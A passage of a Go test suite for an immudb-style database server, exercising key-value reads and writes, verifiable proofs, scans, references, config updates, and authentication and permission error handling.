require.NoError(t, err) } func testServerSetGet(ctx context.Context, s *ImmuServer, t *testing.T) { txhdr, err := s.Set(ctx, &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: testKey, Value: testValue, }, }, }) require.NoError(t, err) time.Sleep(1 * time.Millisecond) it, err := s.Get(ctx, &schema.KeyRequest{ Key: testKey, SinceTx: txhdr.Id, }) require.NoError(t, err) if it.Tx != txhdr.Id { t.Fatalf("set.get tx missmatch expected %v got %v", txhdr.Id, it.Tx) } if !bytes.Equal(it.Key, testKey) { t.Fatalf("get key missmatch expected %v got %v", string(testKey), string(it.Key)) } if !bytes.Equal(it.Value, testValue) { t.Fatalf("get key missmatch expected %v got %v", string(testValue), string(it.Value)) } } func testServerSetGetError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: testKey, Value: testValue, }, }, }) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.Get(context.Background(), &schema.KeyRequest{ Key: testKey, }) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerSafeSetGet(ctx context.Context, s *ImmuServer, t *testing.T) { state, err := s.CurrentState(ctx, &emptypb.Empty{}) require.NoError(t, err) kv := []*schema.VerifiableSetRequest{ { SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("Alberto"), Value: []byte("Tomba"), }, }, }, ProveSinceTx: state.TxId, }, { SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("Jean-Claude"), Value: []byte("Killy"), }, }, }, ProveSinceTx: state.TxId, }, { SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("Franz"), Value: []byte("Clamer"), }, }, }, ProveSinceTx: state.TxId, }, } for _, val := range kv { vTx, err := s.VerifiableSet(ctx, val) require.NoError(t, err) if vTx == nil { t.Fatalf("Nil proof after SafeSet") } _, err = s.VerifiableGet(ctx, &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{ Key: val.SetRequest.KVs[0].Key, SinceTx: vTx.Tx.Header.Id, }, }) require.NoError(t, err) //if it.GetItem().GetIndex() != proof.Index { // t.Fatalf("SafeGet index error, expected %d, got %d", proof.Index, it.GetItem().GetIndex()) //} } } func testServerCurrentRoot(ctx context.Context, s *ImmuServer, t *testing.T) { for _, val := range kvs { _, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) _, err = s.CurrentState(ctx, &emptypb.Empty{}) require.NoError(t, err) } } func testServerCurrentRootError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.CurrentState(context.Background(), &emptypb.Empty{}) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerSetGetBatch(ctx context.Context, s *ImmuServer, t *testing.T) { kvs := []*schema.KeyValue{ { Key: []byte("Alberto"), Value: []byte("Tomba"), }, { Key: []byte("Jean-Claude"), Value: []byte("Killy"), }, { Key: []byte("Franz"), Value: []byte("Clamer"), }, } ind, err := s.Set(ctx, &schema.SetRequest{KVs: kvs}) require.NoError(t, err) if ind == nil { t.Fatalf("Nil index after Setbatch") } _, err = s.FlushIndex(ctx, &schema.FlushIndexRequest{CleanupPercentage: 1}) require.NoError(t, err) _, err = s.CompactIndex(ctx, &emptypb.Empty{}) require.ErrorIs(t, err, tbtree.ErrCompactionThresholdNotReached) _, err = s.GetAll(ctx, nil) require.ErrorIs(t, err, store.ErrIllegalArguments) itList, err := s.GetAll(ctx, &schema.KeyListRequest{ Keys: [][]byte{ []byte("Alberto"), []byte("Jean-Claude"), []byte("Franz"), }, }) require.NoError(t, err) for ind, val := range itList.Entries { if !bytes.Equal(val.Value, kvs[ind].Value) { t.Fatalf("BatchSet value not equal to BatchGet value, expected %s, got %s", string(kvs[ind].Value), string(val.Value)) } } } func testServerSetGetBatchError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("Alberto"), Value: []byte("Tomba"), }, }, }, }, }) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.GetAll(context.Background(), &schema.KeyListRequest{ Keys: [][]byte{ []byte("Alberto"), }, }) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerByIndex(ctx context.Context, s *ImmuServer, t *testing.T) { ind := uint64(1) for _, val := range kvs { txhdr, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{val}}) require.NoError(t, err) ind = txhdr.Id } s.VerifiableSet(ctx, &schema.VerifiableSetRequest{ SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: testKey, Value: testValue, }, }, }, }) _, err := s.TxById(ctx, &schema.TxRequest{Tx: ind}) require.NoError(t, err) //if !bytes.Equal(inc.Value, kvs[len(kv)-1].Value) { // t.Fatalf("ByIndex, expected %s, got %d", kvs[ind].Value, inc.Value) //} } func testServerByIndexError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.TxById(context.Background(), &schema.TxRequest{Tx: 0}) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerBySafeIndex(ctx context.Context, s *ImmuServer, t *testing.T) { for _, val := range kvs { _, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{val}}) require.NoError(t, err) } s.VerifiableSet(ctx, &schema.VerifiableSetRequest{ SetRequest: &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: testKey, Value: testValue, }}}, }) ind := uint64(1) _, err := s.VerifiableTxById(ctx, &schema.VerifiableTxRequest{Tx: ind}) require.NoError(t, err) //if inc.Item.Index != ind { // t.Fatalf("ByIndexSV, expected %d, got %d", ind, inc.Item.Index) //} } func testServerBySafeIndexError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.VerifiableTxById(context.Background(), &schema.VerifiableTxRequest{Tx: 0}) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerHistory(ctx context.Context, s *ImmuServer, t *testing.T) { inc, err := s.History(ctx, &schema.HistoryRequest{ Key: testKey, }) require.NoError(t, err) for _, val := range inc.Entries { if !bytes.Equal(val.Value, testValue) { t.Fatalf("History, expected %s, got %s", val.Value, testValue) } } } func testServerHistoryError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.History(context.Background(), &schema.HistoryRequest{ Key: testKey, }) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerInfo(ctx context.Context, s *ImmuServer, t *testing.T) { resp, err := s.ServerInfo(ctx, &schema.ServerInfoRequest{}) require.NoError(t, err) require.Equal(t, resp.Version, version.Version) require.Equal(t, resp.StartedAt, startedAt.Unix()) require.Equal(t, resp.NumTransactions, int64(16)) require.GreaterOrEqual(t, resp.NumDatabases, int32(1)) require.Greater(t, resp.DatabasesDiskSize, int64(0)) } func testServerHealth(ctx context.Context, s *ImmuServer, t *testing.T) { h, err := s.Health(ctx, &emptypb.Empty{}) require.NoError(t, err) if !h.GetStatus() { t.Fatalf("Health, expected %v, got %v", true, h.GetStatus()) } } func testServerHealthError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.Health(context.Background(), &emptypb.Empty{}) require.NoError(t, err) } func testServerReference(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}}) require.NoError(t, err) meta, err := s.SetReference(ctx, &schema.ReferenceRequest{ Key: []byte(`tag`), ReferencedKey: kvs[0].Key, }) require.NoError(t, err) item, err := s.Get(ctx, &schema.KeyRequest{Key: []byte(`tag`), SinceTx: meta.Id}) require.NoError(t, err) require.Equal(t, kvs[0].Value, item.Value) } func testServerGetReference(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}}) require.NoError(t, err) _, err = s.SetReference(ctx, &schema.ReferenceRequest{ Key: []byte(`tag`), ReferencedKey: kvs[0].Key, }) require.NoError(t, err) item, err := s.Get(ctx, &schema.KeyRequest{ Key: []byte(`tag`), }) require.NoError(t, err) if !bytes.Equal(item.Value, kvs[0].Value) { t.Fatalf("Reference, expected %v, got %v", string(item.Value), string(kvs[0].Value)) } } func testServerReferenceError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.SetReference(ctx, &schema.ReferenceRequest{ Key: []byte(`tag`), ReferencedKey: kvs[0].Key, }) require.NoError(t, err) } func testServerZAdd(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}}) require.NoError(t, err) meta, err := s.ZAdd(ctx, &schema.ZAddRequest{ Key: kvs[0].Key, Score: 1, Set: kvs[0].Value, }) require.NoError(t, err) item, err := s.ZScan(ctx, &schema.ZScanRequest{ Set: kvs[0].Value, SeekKey: []byte(""), Limit: 3, Desc: false, SinceTx: meta.Id, }) require.NoError(t, err) if !bytes.Equal(item.Entries[0].Entry.Value, kvs[0].Value) { t.Fatalf("Reference, expected %v, got %v", string(kvs[0].Value), string(item.Entries[0].Entry.Value)) } } func testServerZAddError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.ZAdd(context.Background(), &schema.ZAddRequest{ Key: kvs[0].Key, Score: 1, Set: kvs[0].Value, }) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.ZScan(context.Background(), &schema.ZScanRequest{ Set: kvs[0].Value, SeekKey: []byte(""), Limit: 3, Desc: false, }) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerScan(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}}) require.NoError(t, err) _, err = s.ZAdd(ctx, &schema.ZAddRequest{ Key: kvs[0].Key, Score: 3, Set: kvs[0].Value, }) require.NoError(t, err) meta, err := s.VerifiableZAdd(ctx, &schema.VerifiableZAddRequest{ ZAddRequest: &schema.ZAddRequest{ Key: kvs[0].Key, Score: 0, Set: kvs[0].Value, }, ProveSinceTx: 0, }) require.NoError(t, err) item, err := s.Scan(ctx, &schema.ScanRequest{ SeekKey: nil, Limit: 1, Prefix: kvs[0].Key, SinceTx: meta.Tx.Header.Id, }) require.NoError(t, err) if !bytes.Equal(item.Entries[0].Key, kvs[0].Key) { t.Fatalf("Reference, expected %v, got %v", string(kvs[0].Key), string(item.Entries[0].Key)) } } func testServerScanError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.Scan(context.Background(), &schema.ScanRequest{ SeekKey: nil, Limit: 1, Prefix: kvs[0].Key, }) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerTxScan(ctx context.Context, s *ImmuServer, t *testing.T) { hdr, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}}) require.NoError(t, err) _, err = s.ZAdd(ctx, &schema.ZAddRequest{ Key: kvs[0].Key, Score: 3, Set: kvs[0].Value, }) require.NoError(t, err) _, err = s.VerifiableZAdd(ctx, &schema.VerifiableZAddRequest{ ZAddRequest: &schema.ZAddRequest{ Key: kvs[0].Key, Score: 0, Set: kvs[0].Value, }, ProveSinceTx: 0, }) require.NoError(t, err) txls, err := s.TxScan(ctx, &schema.TxScanRequest{ InitialTx: hdr.Id, }) require.NoError(t, err) require.Len(t, txls.Txs, 3) require.Equal(t, database.TrimPrefix(txls.Txs[0].Entries[0].Key), kvs[0].Key) } func testServerSafeReference(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.VerifiableSet(ctx, &schema.VerifiableSetRequest{ SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{kvs[0]}, }, }) require.NoError(t, err) vtx, err := s.VerifiableSetReference(ctx, &schema.VerifiableReferenceRequest{ ReferenceRequest: &schema.ReferenceRequest{ Key: []byte("refKey1"), ReferencedKey: kvs[0].Key, }, ProveSinceTx: 1, }) require.NoError(t, err) ref, err := s.Get(ctx, &schema.KeyRequest{ Key: []byte("refKey1"), SinceTx: vtx.Tx.Header.Id, }) require.NoError(t, err) require.Equal(t, kvs[0].Value, ref.Value) } func testServerSafeReferenceError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{ ReferenceRequest: &schema.ReferenceRequest{ Key: []byte("refKey1"), ReferencedKey: kvs[0].Key, }, ProveSinceTx: 0, }) require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerCount(ctx context.Context, s *ImmuServer, t *testing.T) { // Count c, err := s.Count(ctx, &schema.KeyPrefix{ Prefix: kvs[0].Key, }) require.NoError(t, err) if c.Count == 0 { t.Fatalf("Count error >0 got %d", c.Count) } // CountAll countAll, err := s.CountAll(ctx, new(empty.Empty)) require.NoError(t, err) if countAll.Count == 0 { t.Fatalf("CountAll error >0 got %d", countAll.Count) } } func TestServerDbOperations(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) newdb := &schema.DatabaseSettings{ DatabaseName: testDatabase, FileSize: 1 << 20, } _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) _, err = s.Count(ctx, nil) require.Contains(t, err.Error(), store.ErrIllegalArguments.Error()) res, err := s.CountAll(ctx, nil) require.NoError(t, err) require.Zero(t, res.Count) testServerSetGet(ctx, s, t) testServerSetGetError(ctx, s, t) testServerCurrentRoot(ctx, s, t) testServerCurrentRootError(ctx, s, t) testServerSafeSetGet(ctx, s, t) testServerSetGetBatch(ctx, s, t) testServerSetGetBatchError(ctx, s, t) testServerByIndex(ctx, s, t) testServerByIndexError(ctx, s, t) testServerHistory(ctx, s, t) testServerHistoryError(ctx, s, t) testServerBySafeIndex(ctx, s, t) testServerBySafeIndexError(ctx, s, t) testServerInfo(ctx, s, t) testServerHealth(ctx, s, t) testServerHealthError(ctx, s, t) testServerReference(ctx, s, t) testServerReferenceError(ctx, s, t) testServerZAdd(ctx, s, t) testServerZAddError(ctx, s, t) testServerScan(ctx, s, t) testServerScanError(ctx, s, t) testServerTxScan(ctx, s, t) testServerSafeReference(ctx, s, t) testServerSafeReferenceError(ctx, s, t) testServerCount(ctx, s, t) } func TestServerUpdateConfigItem(t *testing.T) { dataDir := filepath.Join(t.TempDir(), "test-server-update-config-item-config") configFile := fmt.Sprintf("%s.toml", dataDir) s, closer := testServer(DefaultOptions().WithAuth(false).WithMaintenance(false).WithDir(dataDir)) defer closer() // Config file path empty s.Options.Config = "" err := s.updateConfigItem("key", "key = value", func(string) bool { return false }) require.Error(t, err) require.EqualError(t, err, "config file does not exist") s.Options.Config = configFile // ReadFile error immuOS := s.OS.(*immuos.StandardOS) readFileOK := immuOS.ReadFileF errReadFile := "ReadFile error" immuOS.ReadFileF = func(filename string) ([]byte, error) { return nil, errors.New(errReadFile) } err = s.updateConfigItem("key", "key = value", func(string) bool { return false }) require.ErrorContains(t, err, fmt.Sprintf("error reading config file '%s'. Reason: %s", configFile, errReadFile)) immuOS.ReadFileF = readFileOK // Config already having the specified item ioutil.WriteFile(configFile, []byte("key = value"), 0644) err = s.updateConfigItem("key", "key = value", func(string) bool { return true }) require.ErrorContains(t, err, "server config already has 'key = value'") // Add new config item err = s.updateConfigItem("key2", "key2 = value2", func(string) bool { return false }) require.NoError(t, err) // WriteFile error errWriteFile := errors.New("WriteFile error") immuOS.WriteFileF = func(filename string, data []byte, perm os.FileMode) error { return errWriteFile } err = s.updateConfigItem("key3", "key3 = value3", func(string) bool { return false }) require.ErrorIs(t, err, errWriteFile) } func TestServerPID(t *testing.T) { dir := t.TempDir() op := DefaultOptions(). WithDir(filepath.Join(dir, "data")). WithAuth(false). WithMaintenance(false).WithPidfile(filepath.Join(dir, "pidfile")) s, closer := testServer(op) defer closer() err := s.setupPidFile() require.NoError(t, err) } func TestServerErrors(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) adminCtx := context.Background() lr, err := s.Login(adminCtx, &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), }) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) adminCtx = metadata.NewIncomingContext(context.Background(), md) // insertNewUser errors _, _, err = s.insertNewUser(context.Background(), []byte("%"), nil, 1, DefaultDBName, auth.SysAdminUsername) require.ErrorContains(t, err, "username can only contain letters, digits and underscores") username := "someusername" usernameBytes := []byte(username) password := "$omePassword1" passwordBytes := []byte(password) _, _, err = s.insertNewUser(context.Background(), usernameBytes, passwordBytes, 99, DefaultDBName, auth.SysAdminUsername) require.ErrorContains(t, err, "unknown permission") // getLoggedInUserDataFromUsername errors userdata := s.userdata.Userdata[username] delete(s.userdata.Userdata, username) _, err = s.getLoggedInUserDataFromUsername(username) require.ErrorIs(t, err, ErrNotLoggedIn) s.userdata.Userdata[username] = userdata // getDBFromCtx errors adminUserdata := s.userdata.Userdata[auth.SysAdminUsername] delete(s.userdata.Userdata, auth.SysAdminUsername) s.Options.maintenance = true _, err = s.getDBFromCtx(adminCtx, "ListUsers") require.ErrorIs(t, err, ErrNotLoggedIn) s.userdata.Userdata[auth.SysAdminUsername] = adminUserdata s.Options.maintenance = false // SetActiveUser errors _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: "", Active: false}) require.ErrorContains(t, err, "username can not be empty") s.Options.auth = false _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: username, Active: false}) require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true delete(s.userdata.Userdata, auth.SysAdminUsername) _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: username, Active: false}) require.ErrorIs(t, err, ErrNotLoggedIn) s.userdata.Userdata[auth.SysAdminUsername] = adminUserdata _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: auth.SysAdminUsername, Active: false}) require.ErrorContains(t, err, "changing your own status is not allowed") _, err = s.CreateUser(adminCtx, &schema.CreateUserRequest{ User: usernameBytes, Password: passwordBytes, Permission: 1, Database: DefaultDBName, }) require.NoError(t, err) userCtx := context.Background() lr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes}) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) userCtx = metadata.NewIncomingContext(context.Background(), md) _, err = s.SetActiveUser(userCtx, &schema.SetActiveUserRequest{Username: auth.SysAdminUsername, Active: false}) require.ErrorContains(t, err, "user is not system admin nor admin in any of the databases") _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: "nonexistentuser", Active: false}) require.ErrorContains(t, err, "user nonexistentuser not found") // ChangePermission errors cpr := &schema.ChangePermissionRequest{ Action: schema.PermissionAction_GRANT, Username: username, Database: SystemDBName, Permission: 2, } _, err = s.ChangePermission(adminCtx, cpr) require.ErrorIs(t, err, ErrPermissionDenied) _, err = s.Logout(userCtx, &emptypb.Empty{}) require.NoError(t, err) cpr.Database = DefaultDBName s.Options.auth = false _, err = s.ChangePermission(userCtx, cpr) require.ErrorIs(t, err, ErrNotLoggedIn) s.Options.auth = true delete(s.userdata.Userdata, auth.SysAdminUsername) _, err = s.ChangePermission(userCtx, cpr) require.ErrorIs(t, err, ErrNotLoggedIn) s.userdata.Userdata[auth.SysAdminUsername] = adminUserdata cpr.Username = "" _, err = s.ChangePermission(userCtx, cpr) require.Contains(t, err.Error(), "username can not be empty") cpr.Username = username cpr.Database = "" _, err = s.ChangePermission(userCtx, cpr) errStatus, _ := status.FromError(err) require.Equal(t, codes.InvalidArgument, errStatus.Code()) require.Equal(t, "database can not be empty", errStatus.Message()) cpr.Database = DefaultDBName cpr.Action = 99 _, err = s.ChangePermission(userCtx, cpr) errStatus, _ = status.FromError(err) require.Equal(t, codes.InvalidArgument, errStatus.Code()) require.Equal(t, "action not recognized", errStatus.Message()) cpr.Action = schema.PermissionAction_GRANT cpr.Permission = 99 _, err = s.ChangePermission(userCtx, cpr) errStatus, _ = status.FromError(err) require.Equal(t, codes.InvalidArgument, errStatus.Code()) require.Equal(t, "unrecognized permission", errStatus.Message()) cpr.Permission = auth.PermissionRW userCtx = context.Background() lr, err = s.Login(userCtx, &schema.LoginRequest{ User: []byte(username), Password: []byte(password), }) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) userCtx = metadata.NewIncomingContext(context.Background(), md) cpr.Username = username _, err = s.ChangePermission(userCtx, cpr) errStatus, _ = status.FromError(err) require.Equal(t, "changing your own permissions is not allowed", errStatus.Message()) cpr.Username = "nonexistentuser" _, err = s.ChangePermission(userCtx, cpr) errStatus, _ = status.FromError(err) require.Equal(t, codes.NotFound, errStatus.Code()) require.Equal(t, fmt.Sprintf("user %s not found", cpr.Username), errStatus.Message()) cpr.Username = auth.SysAdminUsername _, err = s.ChangePermission(userCtx, cpr) errStatus, _ = status.FromError(err) require.Equal(t, "changing sysadmin permissions is not allowed", errStatus.Message()) cpr.Username = username cpr.Action = schema.PermissionAction_REVOKE _, err = s.ChangePermission(adminCtx, cpr) require.NoError(t, err) cpr.Action = schema.PermissionAction_GRANT _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: false, Username: username}) require.NoError(t, err) _, err = s.ChangePermission(adminCtx, cpr) errStatus, _ = status.FromError(err) require.Equal(t, codes.FailedPrecondition, errStatus.Code()) require.Equal(t, fmt.Sprintf("user %s is not active", username), errStatus.Message()) _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: true, Username: username}) require.NoError(t, err) // UseDatabase errors s.Options.auth = false _, err = s.UseDatabase(adminCtx, &schema.Database{DatabaseName: DefaultDBName}) require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: DefaultDBName}) errStatus, _ = status.FromError(err) require.Equal(t, codes.Unauthenticated, errStatus.Code()) require.Equal(t, "Please login", errStatus.Message()) _, err = s.UseDatabase(adminCtx, &schema.Database{DatabaseName: SystemDBName}) require.NoError(t, err) lr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes}) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) userCtx = metadata.NewIncomingContext(context.Background(), md) _, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: SystemDBName}) errStatus, _ = status.FromError(err) require.Equal(t, codes.PermissionDenied, errStatus.Code()) someDb1 := "somedatabase1" _, err = s.CreateDatabaseWith(adminCtx, &schema.DatabaseSettings{DatabaseName: someDb1}) require.NoError(t, err) _, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: someDb1}) errStatus, _ = status.FromError(err) require.Equal(t, codes.PermissionDenied, errStatus.Code()) s.Options.maintenance = true _, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: DefaultDBName}) errStatus, _ = status.FromError(err) require.Equal(t, codes.PermissionDenied, errStatus.Code()) s.Options.maintenance = false _, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: "nonexistentdb"}) errStatus, _ = status.FromError(err) require.Equal(t, codes.NotFound, errStatus.Code()) require.Equal(t, "'nonexistentdb' does not exist", errStatus.Message()) // DatabaseList errors s.Options.auth = false _, err = s.DatabaseList(userCtx, new(emptypb.Empty)) require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.DatabaseList(context.Background(), new(emptypb.Empty)) require.ErrorContains(t, err, "please login") cpr = &schema.ChangePermissionRequest{ Action: schema.PermissionAction_GRANT, Username: username, Database: DefaultDBName, Permission: 2, } _, err = s.ChangePermission(adminCtx, cpr) require.NoError(t, err) lr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes}) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) userCtx = metadata.NewIncomingContext(context.Background(), md) require.NoError(t, err) _, err = s.DatabaseList(userCtx, new(emptypb.Empty)) require.NoError(t, err) // ListUsers errors s.Options.auth = false _, err = s.ListUsers(userCtx, new(emptypb.Empty)) require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.ListUsers(context.Background(), new(emptypb.Empty)) require.ErrorIs(t, err, ErrNotLoggedIn) // CreateUser errors username2 := "someusername2" username2Bytes := []byte(username2) password2 := "$omePassword2" password2Bytes := []byte(password2) createUser2Req := &schema.CreateUserRequest{ User: nil, Password: password2Bytes, Permission: auth.PermissionRW, Database: someDb1, } s.Options.auth = false _, err = s.CreateUser(adminCtx, createUser2Req) require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.CreateUser(context.Background(), createUser2Req) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CreateUser(adminCtx, createUser2Req) require.ErrorContains(t, err, "username can not be empty") createUser2Req.User = username2Bytes createUser2Req.Database = "" _, err = s.CreateUser(adminCtx, createUser2Req) require.ErrorContains(t, err, "database name can not be empty when there are multiple databases") createUser2Req.Database = "nonexistentdb" _, err = s.CreateUser(adminCtx, createUser2Req) require.ErrorContains(t, err, "database nonexistentdb does not exist") createUser2Req.Database = someDb1 createUser2Req.Permission = auth.PermissionNone _, err = s.CreateUser(adminCtx, createUser2Req) require.ErrorContains(t, err, "unrecognized permission") createUser2Req.Permission = auth.PermissionRW _, err = s.CreateUser(userCtx, createUser2Req) require.ErrorContains(t, err, "you do not have permission on this database") createUser2Req.Permission = auth.PermissionSysAdmin _, err = s.CreateUser(adminCtx, createUser2Req) require.ErrorContains(t, err, "can not create another system admin") createUser2Req.Permission = auth.PermissionRW createUser2Req.User = usernameBytes _, err = s.CreateUser(adminCtx, createUser2Req) require.ErrorContains(t, err, "user already exists") // CreateDatabase errors someDb2 := "somedatabase2" createDbReq := &schema.DatabaseSettings{DatabaseName: someDb2} s.Options.auth = false _, err = s.CreateDatabaseWith(adminCtx, createDbReq) require.ErrorIs(t, err, ErrAuthMustBeEnabled) s.Options.auth = true _, err = s.CreateDatabaseWith(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = s.CreateDatabaseWith(context.Background(), createDbReq) require.ErrorContains(t, err, "could not get loggedin user data") _, err = s.CreateDatabaseWith(userCtx, createDbReq) require.ErrorContains(t, err, "loggedin user does not have permissions for this operation") createDbReq.DatabaseName = SystemDBName _, err = s.CreateDatabaseWith(adminCtx, createDbReq) require.ErrorIs(t, err, ErrReservedDatabase) createDbReq.DatabaseName = someDb2 createDbReq.DatabaseName = "" _, err = s.CreateDatabaseWith(adminCtx, createDbReq) require.ErrorContains(t, err, "database name length outside of limits") createDbReq.DatabaseName = someDb1 _, err = s.CreateDatabaseWith(adminCtx, createDbReq) require.ErrorIs(t, err, database.ErrDatabaseAlreadyExists) // ChangePassword errors s.Options.auth = false changePassReq := &schema.ChangePasswordRequest{ User: usernameBytes, OldPassword: passwordBytes, NewPassword: password2Bytes, } _, err = s.ChangePassword(adminCtx, changePassReq) require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.ChangePassword(context.Background(), changePassReq) require.ErrorIs(t, err, ErrNotLoggedIn) changePassReq.User = []byte(auth.SysAdminUsername) changePassReq.OldPassword = []byte("incorrect") _, err = s.ChangePassword(adminCtx, changePassReq) require.ErrorContains(t, err, "old password is incorrect") changePassReq.User = usernameBytes changePassReq.OldPassword = passwordBytes _, err = s.ChangePassword(userCtx, changePassReq) require.ErrorContains(t, err, "user is not system admin nor admin in any of the databases") changePassReq.User = nil _, err = s.ChangePassword(adminCtx, changePassReq) require.ErrorContains(t, err, "username can not be empty") changePassReq.User = []byte("nonexistent") _, err = s.ChangePassword(adminCtx, changePassReq) require.ErrorContains(t, err, fmt.Sprintf("user %s was not found or it was not created by you", changePassReq.User)) _, err = s.ChangePermission(adminCtx, &schema.ChangePermissionRequest{ Action: schema.PermissionAction_GRANT, Username: username, Database: someDb1, Permission: auth.PermissionAdmin, }) require.NoError(t, err) lr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes}) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) userCtx = metadata.NewIncomingContext(context.Background(), md) require.NoError(t, err) createUser2Req = &schema.CreateUserRequest{ User: username2Bytes, Password: password2Bytes, Permission: auth.PermissionAdmin, Database: someDb1, } _, err = s.CreateUser(adminCtx, createUser2Req) require.NoError(t, err) changePassReq.User = username2Bytes changePassReq.OldPassword = password2Bytes password2New := []byte("$omePassword2New") password2NewBytes := []byte(password2New) changePassReq.NewPassword = password2NewBytes _, err = s.ChangePassword(userCtx, changePassReq) require.ErrorContains(t, err, fmt.Sprintf("user %s was not found or it was not created by you", changePassReq.User)) // Not logged in errors on DB operations emptyCtx := context.Background() _, err = s.VerifiableZAdd(emptyCtx, &schema.VerifiableZAddRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.SetReference(emptyCtx, &schema.ReferenceRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.UpdateMTLSConfig(emptyCtx, &schema.MTLSConfig{}) require.ErrorIs(t, err, ErrNotSupported) _, err = s.UpdateAuthConfig(emptyCtx, &schema.AuthConfig{}) require.ErrorIs(t, err, ErrNotSupported) _, err = s.Count(context.Background(), 